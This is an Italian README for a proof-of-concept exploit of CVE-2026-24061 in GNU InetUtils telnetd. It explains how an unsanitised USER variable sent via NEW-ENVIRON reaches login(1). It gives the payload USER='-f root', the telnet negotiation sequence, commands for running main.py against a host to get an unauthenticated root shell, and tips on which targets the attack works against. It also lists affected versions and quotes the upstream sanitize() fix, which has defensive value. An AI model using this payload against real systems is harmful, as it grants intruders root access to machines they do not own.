
Proof-of-concept exploit per CVE-2026-24061, un bypass dell'autenticazione di telnetd tramite iniezione di argomenti nella variabile d'ambiente USER, che consente l'accesso non autenticato a una shell di root.
Iniezione di argomenti in telnetd di GNU InetUtils. Versioni dalla 1.9.3 alla 2.7. CVSS 9.8. Nella CISA KEV dal 26.01.2026, quindi attivamente sfruttata in natura.
Tutto il trucco sta nel fatto che telnetd prende il valore della variabile d'ambiente USER dal client tramite NEW-ENVIRON (RFC 1572) e lo incolla senza alcuna validazione direttamente nella chiamata a login(1). Se il client invia USER="-f root", telnetd eseguirà:
/usr/bin/login -p -h <host> -f root
Il flag -f in login significa "autentica questo utente senza password". Shell di root, zero autenticazione.
In telnetd/telnetd.c c'è il template della chiamata a login:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u è l'utente dall'autenticazione telnet (attendibile). %U è il valore grezzo della variabile d'ambiente USER dal client (non attendibile). Quando l'autenticazione non è attiva, viene usato %U.
L'espansione delle variabili si trova in telnetd/utility.c, funzione _var_short_name:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
Zero filtri. Qualunque cosa il client invii in USER finisce direttamente nella riga di comando di login. Non funziona solo -f root, teoricamente si può iniettare qualsiasi argomento che login accetta.
Il bug è stato introdotto in un commit upstream di safe-guard del 2015-03-19 (fa3245ac). Ironia della sorte, quel commit doveva migliorare la gestione della variabile USER. Debian aveva una patch per questo nel 2019 (0028-telnetd-Scrub-USER-from-environment.patch), ma con il fix di CVE-2020-10188 in Debian 10 la patch è andata persa e il bug è tornato. Quindi sono vulnerabili anche Debian 10+, Ubuntu e derivate.
main.py è un client telnet minimale che:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SElogin -f root, ottieni una shellclient server
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C termina la sessione.
Non provare su sistemi che non hanno inetutils-telnetd. Il pacchetto telnetd di netkit è un codice diverso, non è vulnerabile a questo specifico bug. Se ti connetti e ricevi un normale prompt di login invece di una shell, o il server ha già la patch, oppure non è un telnetd di inetutils.
Non modificare il payload in -f <altro_utente> aspettandoti che funzioni su ogni sistema. login(1) di alcune distribuzioni ha restrizioni aggiuntive su -f. Su Debian/Ubuntu standard -f root funziona senza problemi.
| software | versioni |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (fino alla patch) |
| Debian 11 | corretto in 2:2.0-1+deb11u3 |
| Ubuntu | inetutils-telnetd (fino alla patch) |
Il fix ufficiale aggiunge una funzione sanitize() che rifiuta i valori che iniziano con - o che contengono metacaratteri di shell. Applicata a tutte le variabili nell'espansione, non solo USER.
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - patch per USERccba9f7 - sanificazione di tutte le variabili